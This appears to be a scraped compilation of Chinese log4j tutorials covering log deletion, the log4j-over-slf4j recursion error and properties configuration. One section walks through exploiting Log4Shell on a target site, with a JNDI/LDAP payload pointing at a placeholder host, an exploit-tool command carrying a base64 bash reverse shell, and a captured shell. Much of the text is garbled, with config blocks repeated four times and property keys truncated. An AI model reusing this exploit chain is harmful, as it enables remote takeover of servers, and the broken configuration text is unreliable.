log4j详解与实战

合集下载

log4j 删除日志原理

log4j 删除日志原理

log4j删除日志原理详解1. 什么是log4jlog4j是一个Java日志框架,用于记录应用程序的日志信息。

它是Apache软件基金会的一个开源项目,被广泛用于Java应用程序中。

log4j提供了灵活的配置选项,可以将日志输出到不同的目标(如控制台、文件、数据库等),并且可以根据日志级别过滤不同类型的日志信息。

2. log4j的基本原理log4j的基本原理可以归纳为以下几个步骤:步骤1:配置log4j在使用log4j之前,需要先进行配置。

log4j的配置文件通常为log4j.properties或log4j.xml,其中定义了日志输出的目标、格式、级别等信息。

步骤2:引入log4j库在Java应用程序中引入log4j库,以便在代码中使用log4j提供的API进行日志记录。

步骤3:获取Logger对象在代码中通过调用Logger.getLogger()方法获取Logger对象。

每个Logger对象与一个特定的类关联,用于记录该类产生的日志信息。

步骤4:设置日志级别通过调用Logger对象的setLevel()方法设置该Logger对象所记录的日志级别。

只有达到指定级别及以上的日志信息才会被记录。

步骤5:编写日志记录语句在代码中通过调用Logger对象的不同方法(如debug()、info()、warn()、error()等)编写日志记录语句。

根据不同的日志级别,选择合适的方法进行日志记录。

步骤6:输出日志当代码中执行了Logger对象的日志记录方法后,log4j会根据配置文件中的设置,将相应级别的日志信息输出到指定目标(如控制台、文件、数据库等)。

3. log4j删除日志原理在实际应用中,由于业务需求或存储空间限制,我们可能需要定期删除过时的日志信息。

log4j提供了一些机制来实现删除日志的功能。

基于时间戳删除log4j允许我们在配置文件中设置一个时间戳(或日期),当达到这个时间戳后,自动删除该时间之前的所有日志信息。

详解log4j-over-slf...

详解log4j-over-slf...

详解log4j-over-slf...注:下⽂中的“桥接”、“转调”、“绑定”等词基本都是同⼀个概念。

log4j-over-slf4j和slf4j-log4j12是跟java⽇志系统相关的两个jar包,当它们同时出现在classpath下时,就可能会引起堆栈溢出异常。

异常信息⼤致如下(摘⾃slf4j官⽹⽂档):Exception in thread "main" ng.StackOverflowErrorat java.util.Hashtable.containsKey(Hashtable.java:306)at org.apache.log4j.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:36)at org.apache.log4j.LogManager.getLogger(LogManager.java:39)at org.slf4j.impl.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:73)at org.slf4j.LoggerFactory.getLogger(LoggerFactory.java:249)at org.apache.log4j.Category.<init>(Category.java:53)at org.apache.log4j.Logger..<init>(Logger.java:35)at org.apache.log4j.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:39)at org.apache.log4j.LogManager.getLogger(LogManager.java:39)at org.slf4j.impl.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:73)at org.slf4j.LoggerFactory.getLogger(LoggerFactory.java:249)at org.apache.log4j.Category..<init>(Category.java:53)at org.apache.log4j.Logger..<init>(Logger.java:35)at org.apache.log4j.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:39)at org.apache.log4j.LogManager.getLogger(LogManager.java:39)subsequent lines omitted...现有⽇志体系分析这个异常出现的具体原因之前,有必要先快速了解⼀下现有的Java⽇志体系。

Java开发日志分析工具Log4j使用详解

Java开发日志分析工具Log4j使用详解

Java开发日志分析工具Log4j使用详解Log4j是一个用于记录应用程序运行时日志的Java开发工具。

它可以帮助开发人员更好地理解和监控应用程序的运行状态,以及解决潜在的问题。

下面将详细介绍Log4j的使用方法和功能。

一、Log4j的配置文件Log4j使用一个名为log4j.properties的配置文件来定义日志的输出格式、日志级别、输出目标等。

这个配置文件需要放在应用程序的classpath下,以便Log4j能够找到它并加载配置。

配置文件中的每一个配置项都有一个特定的名称和对应的值。

例如,可以使用"log4j.rootLogger"配置项来设置根日志记录器的级别,使用"log4j.appender.console"配置项来设置控制台输出的格式等。

二、Log4j的日志级别Log4j提供了多个日志级别,用于控制日志的输出。

这些日志级别按照严重程度递增,包括TRACE、DEBUG、INFO、WARN、ERROR和FATAL。

可以通过配置文件中的"log4j.rootLogger"配置项来设置根日志记录器的级别,从而决定哪些级别的日志会被记录。

三、Log4j的输出目标Log4j可以将日志输出到不同的目标,包括控制台、文件、数据库等。

可以通过配置文件中的"log4j.appender"配置项来设置输出目标。

常用的输出目标有:1. ConsoleAppender:将日志输出到控制台。

2. FileAppender:将日志输出到文件。

3. RollingFileAppender:将日志输出到滚动文件,可以设置文件的大小和数量,以便自动滚动日志文件。

4. JDBCAppender:将日志输出到数据库。

四、Log4j的日志格式Log4j可以自定义日志的输出格式。

可以通过配置文件中的"log4j.appender"配置项来设置输出格式。

log4j配置详解

log4j配置详解

log4j.properties配置详解一、Log4j配置第一步:加入log4j-1.2.8.jar到lib下。

第二步:在CLASSPATH下建立log4j.properties。

内容如下:Java代码log4j.rootCategory=INFO, stdout , Rlog4j.appender.stdout=org.apache.log4j.ConsoleAppenderyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=[QC] %p [%t] %C.%M(%L) | %m%nlog4j.appender.R=org.apache.log4j.DailyRollingFileAppenderlog4j.appender.R.File=D:\\Tomcat 5.5\\logs\\qc.logyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=%d-[TS] %p %t %c - %m%n.neusoft=DEBUG.opensymphony.oscache=ERROR.sf.navigator=ERRORmons=ERROR.apache.struts=W ARN.displaytag=ERROR.springframework=DEBUG.ibatis.db=WARN.apache.velocity=FATAL.canoo.webtest=WARN.hibernate.ps.PreparedStatementCache=W ARN.hibernate=DEBUG.logicalcobwebs=W ARNlog4j.rootCategory=INFO, stdout , Rlog4j.appender.stdout=org.apache.log4j.ConsoleAppenderyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=[QC] %p [%t] %C.%M(%L) | %m%nlog4j.appender.R=org.apache.log4j.DailyRollingFileAppenderlog4j.appender.R.File=D:\\Tomcat 5.5\\logs\\qc.logyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=%d-[TS] %p %t %c - %m%n.neusoft=DEBUG.opensymphony.oscache=ERROR.sf.navigator=ERRORmons=ERROR.apache.struts=W ARN.displaytag=ERROR.springframework=DEBUG.ibatis.db=WARN.apache.velocity=FATAL.canoo.webtest=WARN.hibernate.ps.PreparedStatementCache=W ARN.hibernate=DEBUG.logicalcobwebs=W ARNlog4j.rootCategory=INFO, stdout , Rlog4j.appender.stdout=org.apache.log4j.ConsoleAppenderyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=[QC] %p [%t] %C.%M(%L) | %m%nlog4j.appender.R=org.apache.log4j.DailyRollingFileAppenderlog4j.appender.R.File=D:\\Tomcat 5.5\\logs\\qc.logyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=%d-[TS] %p %t %c - %m%n.neusoft=DEBUG.opensymphony.oscache=ERROR.sf.navigator=ERRORmons=ERROR.apache.struts=W ARN.displaytag=ERROR.springframework=DEBUG.ibatis.db=WARN.apache.velocity=FATAL.canoo.webtest=WARN.hibernate.ps.PreparedStatementCache=W ARN.hibernate=DEBUG.logicalcobwebs=W ARNlog4j.rootCategory=INFO, stdout , Rlog4j.appender.stdout=org.apache.log4j.ConsoleAppenderyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=[QC] %p [%t] %C.%M(%L) | %m%nlog4j.appender.R=org.apache.log4j.DailyRollingFileAppenderlog4j.appender.R.File=D:\\Tomcat 5.5\\logs\\qc.logyout=org.apache.log4j.PatternLayoutyout.ConversionPattern=%d-[TS] %p %t %c - %m%n.neusoft=DEBUG.opensymphony.oscache=ERROR.sf.navigator=ERRORmons=ERROR.apache.struts=W ARN.displaytag=ERROR.springframework=DEBUG.ibatis.db=WARN.apache.velocity=FATAL.canoo.webtest=WARN.hibernate.ps.PreparedStatementCache=W ARN.hibernate=DEBUG.logicalcobwebs=W ARN第三步:相应的修改其中属性,修改之前就必须知道这些都是干什么的,在第二部分讲解。

Log4j 日志内容详解

Log4j 日志内容详解

Log4j详细解1.1. 背景在应用程序中添加日志记录总的来说基于三个目的:监视代码中变量的变化情况,周期性的记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。

最普通的做法就是在代码中嵌入许多的打印语句,这些打印语句可以输出到控制台或文件中,比较好的做法就是构造一个日志操作类来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。

1.2. Log4j简介在强调可重用组件开发的今天,除了自己从头到尾开发一个可重用的日志操作类外,Apache为我们提供了一个强有力的日志操作包-Log4j。

Log4j是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。

最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

此外,通过Log4j其他语言接口,您可以在C、C+ +、.Net、PL/SQL程序中使用Log4j,其语法和用法与在Java程序中一样,使得多语言分布式系统得到一个统一一致的日志组件模块。

而且,通过使用各种第三方扩展,您可以很方便地将Log4j集成到J2EE、JINI 甚至是SNMP应用中。

Log4j有三个主要的组件:Loggers(记录器),Appenders (输出源)和Layouts(布局),这里可简单理解为日志类别,日志要输出的地方和日志以何种形式输出。

综合使用这三个组件可以轻松的记录信息的类型和级别,并可以在运行时控制日志输出的样式和位置。

下面对三个组件分别进行说明:1、LoggersLoggers组件在此系统中被分为五个级别:DEBUG、INFO、W ARN、ERROR和FATAL。

Log4j实用手册

Log4j实用手册

Log4j实用手册=================================================================================================== 简介1.Log4J是Apache的一个开源项目,是用来操作程序日志信息的框架。

______________________________________________________________________________________2.Log4J的功能通过配置log4j.properties属性文件实现。

______________________________________________________________________________________3.log4j.properties文件中配置日志信息的记录器,并为记录器配置日志级别、输出地点、输出格式。

·首先定义记录器,管理不同的日志信息(可以配置一个或多个记录器);·每一个记录器对应一个或多个存放器,用来设置日志信息的存放地点;·每一个存放器对应一个布局格式,用来设置日志信息输出时的布局格式。

记录器用来整合日志信息,一个日志信息整合好之后,交给记录器的所有存放器,每一个存放器根据自己的格式进行输出记录改条日志信息。

所以:存放器是属于记录器的,格式布局是属于存放器的。

记录器可配置多个存放器,存放器只能有一个输出方式。

______________________________________________________________________________________4.输出地点·控制台- Console·文件- File·GUI component - GUI组件·Remote socket server - 套接口服务器·NT Event Logger - NT的事件记录器·Remote UNIX Syslog daemon - UNIX Syslog守护进程______________________________________________________________________________________5.输出格式·HTML格式·灵活格式·包含日志信息的级别和信息字符串·包含日志产生的时间、线程和类别等信息______________________________________________________________________________________6.程序中通过获得记录器,调用记录器的方法来产生日志信息。

log4j.properties 详解与配置步骤

log4j.properties 详解与配置步骤一、入门实例1.新建一个JAva工程,导入包log4j-1.2.17.jar,整个工程最终目录如下2、src同级创建并设置log4j.properties3、设置日志内容1.package com.mucfc;2.import org.apache.log4j.Logger;3./**4. *@author linbingwen5. *@2015年5月18日9:14:216. */7.public class Test {8.private static Logger logger = Logger.getLogger(Test.class); 9.10./**11. * @param args12. */13.public static void main(String[] args) {14.// System.out.println("This is println message.");15.16.// 记录debug级别的信息17. logger.debug("This is debug message.");18.// 记录info级别的信息19. ("This is info message.");20.// 记录error级别的信息21. logger.error("This is error message.");22. }23.24.}4、输出结果(1)首先是控制台的信息(2)再来看输出的文件内容如下,发现已按照要求输出到对应的文档中去了。

二、Log4j基本使用方法Log4j由三个重要的组件构成:日志信息的优先级,日志信息的输出目的地,日志信息的输出格式。

日志信息的优先级从高到低有ERROR、WARN、INFO、DEBUG,分别用来指定这条日志信息的重要程度;日志信息的输出目的地指定了日志将打印到控制台还是文件中;而输出格式则控制了日志信息的显示内容。

log4j使用教程详解(怎么使用log4j2)

log4j使⽤教程详解(怎么使⽤log4j2)1. 去官⽅下载log4j 2,导⼊jar包,基本上你只需要导⼊下⾯两个jar包就可以了(xx是乱七⼋糟的版本号):log4j-core-xx.jarlog4j-api-xx.jar2. 导⼊到你的项⽬中:这个就不说了。

3. 开始使⽤:我们知道,要在某个类中使⽤log4j记录⽇志,只需要申明下⾯的成员变量(其实不⼀定要是成员变量,只是为了⽅便调⽤⽽已)复制代码代码如下:private static Logger logger = LogManager.getLogger(MyApp.class.getName());⾥getLogger有⼀个参数指定的是这个logger的名称,这个名称在配置⽂件⾥⾯可是有需要的,这个待会⼉再说。

声明了Logger对象,我们就可以在代码中使⽤他了。

4. ⽇志的级别:我们现在要调⽤logger的⽅法,不过在这个Logger对象中,有很多⽅法,所以要先了解log4j的⽇志级别,log4j规定了默认的⼏个级别:trace<debug<info<warn<error<fatal等。

这⾥要说明⼀下:1)级别之间是包含的关系,意思是如果你设置⽇志级别是trace,则⼤于等于这个级别的⽇志都会输出。

2)基本上默认的级别没多⼤区别,就是⼀个默认的设定。

你可以通过它的API⾃⼰定义级别。

你也可以随意调⽤这些⽅法,不过你要在配置⽂件⾥⾯好好处理了,否则就起不到⽇志的作⽤了,⽽且也不易读,相当于⼀个规范,你要完全定义⼀套也可以,不⽤没多⼤必要。

3)这不同的级别的含义⼤家都很容易理解,这⾥就简单介绍⼀下:trace:是追踪,就是程序推进以下,你就可以写个trace输出,所以trace应该会特别多,不过没关系,我们可以设置最低⽇志级别不让他输出。

debug:调试么,我⼀般就只⽤这个作为最低级别,trace压根不⽤。

log4j配置文件详解附实例

log4j配置文件有三个主要的组件:Logger,Appender和Layout,分别为日志类型,日志输出目的地,日志输出格式。

log4j.rootLogger = [level], appenderName, appenderName, ...(level是错误级别,appenderName是输出目的地,本例设为mylog,可以定义多个) level优先级分别为FATAL、ERROR、WARN、INFO、DEBUG 5个级别.通过定义的级别,你可以控制程序中的日志输出.比如在这里定义了ERROR级别,程序中只有FARAL、ERROR 级别的LOG 会被输出.log4j.appender.mylog= 输出目的地 (这里的appenderName是在前面定义的,可任意起名)Log4j提供的输出目的地有以下几种:org.apache.log4j.ConsoleAppender(控制台)org.apache.log4j.FileAppender(文件)org.apache.log4j.DailyRollingFileAppender(每天产生一个日志文件)org.apache.log4j.RollingFileAppender(文件到达指定大小时产生一个新文件)org.apache.log4j.WriterAppender(将日志信息以流格式发送到任何地方)log4j.appender.filelog.File=your file dirlog4j.appender.filelog.MaxFileSize=your filesizelog4j.appender.mylog.MaxBackupIndex=num设置保存备份文件数量yout = 布局类型(设置布局类型)Log4j提供的layout有以下4种:org.apache.log4j.HTMLLayout(以HTML表格形式布局)org.apache.log4j.SimpleLayout(包含日志信息的级别和信息字符串)org.apache.log4j.TTCCLayout(包含日志产生的时间、线程、类别等等信息)org.apache.log4j.PatternLayout(可以灵活地指定布局模式)如果使用PatternLayout布局就要指定的打印信息的具体格式ConversionPattern,打印参数如下:%m 输出代码中指定的消息%p 输出优先级,即DEBUG,INFO,WARN,ERROR,FATAL%r 输出自应用启动到输出该log信息耗费的毫秒数%c 输出所属的类目,通常就是所在类的全名%t 输出产生该日志事件的线程名%n 输出一个回车换行符,Windows为"rn",Unix为"n"%d 输出日志时间,比如:%d{yyyy MMM dd HH:mm:ss,SSS},输出:2007年5月17日19:30:00,000%l 输出日志事件的发生位置,包括类目名、发生的线程,以及在代码中的行数[QC]是log信息的开头,可以为任意字符,一般为项目简称程序中并没有直接用到log4j的类,而是使用了commons-logging提供的日志类。

Log4j2漏洞实战案例

Log4j2漏洞实战案例在现在以及未来的⼀段时间⾥,Log4j2 漏洞依然是渗透和排查的重点。

在测试靶场⾥复现多次,在实战中遇到还是⼗分兴奋,So,总得记录点什么吧。

01、漏洞发现通过burp插件的⽅式,将Log4j2漏洞检测能⼒集成到burp进⾏被动扫描。

在访问⽹站抓包的过程中,检测到⽬标站点存在Log4j2 RCE漏洞。

02、确认漏洞参数由于使⽤参数Fuzz,每个数据包⾥都夹带多个参数注⼊Payload,我们需要进⼀步定位到具体的漏洞参数位置。

(1)登录ceye.io,可以查看当前的dnslog。

(2)对⽐burp参数注⼊的payload和dnslog请求,可初步确认参数username存在Log4j2 RCE漏洞。

03、构建ldap服务通过JNDI注⼊利⽤的⼯具,构建好恶意类地址和ldap服务,为进⼀步漏洞利⽤做好准备。

(1)构建payload,将要执⾏的命令进⾏base64编码,可通过Java Runtime 配合 bash 编码实现。

在线编码地址:https://www.jackson-t.ca/runtime-exec-payloads.html(2)⽤JNDIExploit启动⼀个ldap的服务。

命令如下:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”04、获取⽬标权限利⽤Log4j2漏洞向⽬标服务器发送构造的payload语句,反弹shell,从⽽获取⽬标服务器权限。

(1)启动端⼝监听(2)在burp进⾏构造payload,url编码后发送请求。

Payload:username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}(3)服务端成功接收到bash反弹的shell。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

log4j是一个非常强大的log记录软件,下面我们就来看看在项目中如何使log4j。

首先当然是得到log4j的jar档,推荐使用1.2.X版,下载地址:/log4j/1.2/download.html我们先看一个最简单的示例:【示例1】项目结构:【注:由于这里的多个项目公用一个jar档,我们可以创建一个专门放置jar 档的Java工程,然后将jar档放到lib目录下。

在要使用的工程中按图所示进行引用】Java代码:Java代码1.package com.coderdream.log4j;2.3.import org.apache.log4j.Logger;4.5.public class HelloLog4j {6.7. private static Logger logger = Logger.getLogger(HelloLog4j.class);8.9. /**10. * @param args11. */12. public static void main(String[] args) {13. // System.out.println("This is println message.");14.15. // 记录debug级别的信息16. logger.debug("This is debug message.");17. // 记录info级别的信息18. ("This is info message.");19. // 记录error级别的信息20. logger.error("This is error message.");21. }22.}配置文件log4j.properties:Properties代码1.#可以设置级别:debug>info>error2.#debug:显示debug、info、error3.#info:显示info、error4.#error:只error5.log4j.rootLogger=debug,appender16.#log4j.rootLogger=info,appender17.#log4j.rootLogger=error,appender18.9.#输出到控制台10.log4j.appender.appender1=org.apache.log4j.ConsoleAppender11.#样式为TTCCLayoutyout=org.apache.log4j.TTCCLayout 输出结果:Console代码1.[main] DEBUG com.coderdream.log4j.HelloLog4j - This is debug message.2.[main] INFO com.coderdream.log4j.HelloLog4j - This is info message.3.[main] ERROR com.coderdream.log4j.HelloLog4j - This is error message.通过配置文件可知,我们需要配置3个方面的内容:1、根目录(级别和目的地);2、目的地(控制台、文件等等);3、输出样式。

下面我们来看看Log4J的类图:Logger - 日志写出器,供程序员输出日志信息Appender - 日志目的地,把格式化好的日志信息输出到指定的地方去ConsoleAppender - 目的地为控制台的AppenderFileAppender - 目的地为文件的AppenderRollingFileAppender - 目的地为大小受限的文件的AppenderLayout - 日志格式化器,用来把程序员的logging request格式化成字符串PatternLayout - 用指定的pattern格式化logging request的LayoutLog4j基本使用方法Log4j由三个重要的组件构成:日志信息的优先级,日志信息的输出目的地,日志信息的输出格式。

日志信息的优先级从高到低有ERROR、WARN、 INFO、DEBUG,分别用来指定这条日志信息的重要程度;日志信息的输出目的地指定了日志将打印到控制台还是文件中;而输出格式则控制了日志信息的显示内容。

一、定义配置文件其实您也可以完全不使用配置文件,而是在代码中配置Log4j环境。

但是,使用配置文件将使您的应用程序更加灵活。

Log4j支持两种配置文件格式,一种是XML格式的文件,一种是Java特性文件(键=值)。

下面我们介绍使用Java 特性文件做为配置文件的方法:1.配置根Logger,其语法为:log4j.rootLogger = [ level ] , appenderName, appenderName, …其中,level 是日志记录的优先级,分为OFF、FATAL、ERROR、WARN、INFO、DEBUG、ALL或者您定义的级别。

Log4j建议只使用四个级别,优先级从高到低分别是ERROR、WARN、INFO、DEBUG。

通过在这里定义的级别,您可以控制到应用程序中相应级别的日志信息的开关。

比如在这里定义了INFO级别,则应用程序中所有DEBUG级别的日志信息将不被打印出来。

appenderName就是指B日志信息输出到哪个地方。

您可以同时指定多个输出目的地。

2.配置日志信息输出目的地Appender,其语法为:log4j.appender.appenderName =.of.appender.classlog4j.appender.appenderName.option1 = value1…log4j.appender.appenderName.option = valueN其中,Log4j提供的appender有以下几种:org.apache.log4j.ConsoleAppender(控制台),org.apache.log4j.FileAppender(文件),org.apache.log4j.DailyRollingFileAppender(每天产生一个日志文件),org.apache.log4j.RollingFileAppender(文件大小到达指定尺寸的时候产生一个新的文件),org.apache.log4j.WriterAppender(将日志信息以流格式发送到任意指定的地方)3.配置日志信息的格式(布局),其语法为:yout =yout.classyout.option1 = value1…yout.option = valueN其中,Log4j提供的layout有以e几种:org.apache.log4j.HTMLLayout(以HTML表格形式布局),org.apache.log4j.PatternLayout(可以灵活地指定布局模式),org.apache.log4j.SimpleLayout(包含日志信息的级别和信息字符串),org.apache.log4j.TTCCLayout(包含日志产生的时间、线程、类别等等信息)Log4J采用类似C语言中的printf函数的打印格式格式化日志信息,打印参数如下: %m 输出代码中指定的消息%p 输出优先级,即DEBUG,INFO,WARN,ERROR,FATAL%r 输出自应用启动到输出该log信息耗费的毫秒数%c 输出所属的类目,通常就是所在类的全名%t 输出产生该日志事件的线程名%n 输出一个回车换行符,Windows平台为“rn”,Unix平台为“n”%d 输出日志时间点的日期或时间,默认格式为ISO8601,也可以在其后指定格式,比如:%d{yyy MMM dd HH:mm:ss,SSS},输出类似:2002年10月18日22:10:28,921%l 输出日志事件的发生位置,包括类目名、发生的线程,以及在代码中的行数。

举例:Testlog4.main(TestLog4.java:10)二、在代码中使用Log4j1.得到记录器使用Log4j,第一步就是获取日志记录器,这个记录器将负责控制日志信息。

其语法为:public static Logger getLogger( String name)通过指定的名字获得记录器,如果必要的话,则为这个名字创建一个新的记录器。

Name一般取本类的名字,比如:static Logger logger = Logger.getLogger( ServerWithLog4j.class.getName () )2.读取配置文件当获得了日志记录器之后,第二步将配置Log4j环境,其语法为:BasicConfigurator.configure ():自动快速地使用缺省Log4j环境。

PropertyConfigurator.configure ( String configFilename) :读取使用Java的特性文件编写的配置文件。

DOMConfigurator.configure ( String filename ) :读取XML形式的配置文件。

3.插入记录信息(格式化日志信息)当上两个必要步骤执行完毕,您就可以轻松地使用不同优先级别的日志记录语句插入到您想记录日志的任何地方,其语法如下:Logger.debug ( Object message ) ; ( Object message ) ;Logger.warn ( Object message ) ;Logger.error ( Object message ) ;示例2~示例8【示例2】输出为文本文件或HTML文件Porperties代码1.#设置级别:2.log4j.rootLogger=debug,appender13.4.#输出到文件(这里默认为追加方式)5.log4j.appender.appender1=org.apache.log4j.FileAppender6.#设置文件输出路径7.#【1】文本文件8.#log4j.appender.appender1.File=c:/Log4JDemo02.log9.#【2】HTML文件10.log4j.appender.appender1.File=c:/Log4JDemo02.html11.#设置文件输出样式12.#yout=org.apache.log4j.TTCCLayoutyout=org.apache.log4j.HTMLLayout 【示例3】输出为文本文件或HTML文件Properties代码1.#设置级别和多个目的地2.log4j.rootLogger=debug,appender1,appender23.4.#输出到控制台5.log4j.appender.appender1=org.apache.log4j.ConsoleAppender6.#设置输出样式yout=org.apache.log4j.TTCCLayout8.9.#输出到文件(这里默认为追加方式)10.log4j.appender.appender2=org.apache.log4j.FileAppender11.#设置文件输出路径12.#【1】文本文件13.#log4j.appender.appender2.File=c:/Log4JDemo02.log14.#【2】HTML文件15.log4j.appender.appender2.File=c:/Log4JDemo02.html16.#设置文件输出样式17.#yout=org.apache.log4j.TTCCLayoutyout=org.apache.log4j.HTMLLayout【示例4】 SimpleLayout样式Properties代码1.#设置级别和目的地2.log4j.rootLogger=debug,appender13.4.#输出到控制台5.log4j.appender.appender1=org.apache.log4j.ConsoleAppender6.#设置输出样式yout=org.apache.log4j.SimpleLayout 输出结果:控制台代码1.DEBUG - This is debug message. - This is info message.3.ERROR - This is error message.【示例5】自定义样式Java代码1.#设置级别和目的地2.log4j.rootLogger=debug,appender13.4.#输出到控制台5.log4j.appender.appender1=org.apache.log4j.ConsoleAppender6.#设置输出样式yout=org.apache.log4j.PatternLayout8.#自定义样式9.# %r 时间 010.# %t 方法名 main11.# %p 优先级 DEBUG/INFO/ERROR12.# %c 所属类的全名(包括包名)13.# %l 发生的位置,在某个类的某行14.# %m 输出代码中指定的讯息,如log(message)中的message15.# %n 输出一个换行16.yout.ConversionPattern=%r [%t] [%p]- %c -%l -%m%n输出结果:控制台代码1.0 [main] [DEBUG] - com.coderdream.log4j.HelloLog4j2.-com.coderdream.log4j.HelloLog4j.main(HelloLog4j.java:16) -Thisis debug message.3.31 [main] [INFO] - com.coderdream.log4j.HelloLog4j4.-com.coderdream.log4j.HelloLog4j.main(HelloLog4j.java:18) -Thisis info message.5.31 [main] [ERROR] - com.coderdream.log4j.HelloLog4j6.-com.coderdream.log4j.HelloLog4j.main(HelloLog4j.java:20) -Thisis error message.【示例6】多目的地、自定义样式Properties代码1.#设置级别和目的地2.log4j.rootLogger=debug,appender1,appender23.4.#输出到控制台5.log4j.appender.appender1=org.apache.log4j.ConsoleAppender6.#设置输出样式yout=org.apache.log4j.PatternLayout8.#自定义样式9.# %r 时间 010.# %t 方法名 main11.# %p 优先级 DEBUG/INFO/ERROR12.# %c 所属类的全名(包括包名)13.# %l 发生的位置,在某个类的某行14.# %m 输出代码中指定的讯息,如log(message)中的message15.# %n 输出一个换行符号yout.ConversionPattern=[%d{yy/MM/ddHH:mm:ss:SSS}][%C-%M] %m%n17.18.#输出到文件(这里默认为追加方式)19.log4j.appender.appender2=org.apache.log4j.FileAppender20.#设置文件输出路径21.#【1】文本文件22.log4j.appender.appender2.File=c:/Log4JDemo06.log23.#设置文件输出样式yout=org.apache.log4j.PatternLayoutyout.ConversionPattern=[%d{HH:mm:ss:SSS}][%C-%M] -%m%n【示例7】【企业应用】设置特定包的级别和目的地先增加一个包,新建一个类:Java代码1.package com.coderdream.log4jDao;2.3.import org.apache.log4j.Logger;4.5.public class HelloDao {6. private static Logger logger = Logger.getLogger(HelloDao.class);7.8. /**9. * @param args10. */11. public static void main(String[] args) {12. // 记录debug级别的信息13. logger.debug("This is debug message from Dao.");14. // 记录info级别的信息15. ("This is info message from Dao.");16. // 记录error级别的信息17. logger.error("This is error message from Dao.");18. }19.}如果这个类作为基类,如J2EE中的BaseDao、BaseAction、BaseService 等等,则我们可以将各层的日志信息分类输出到各个文件。

相关文档
最新文档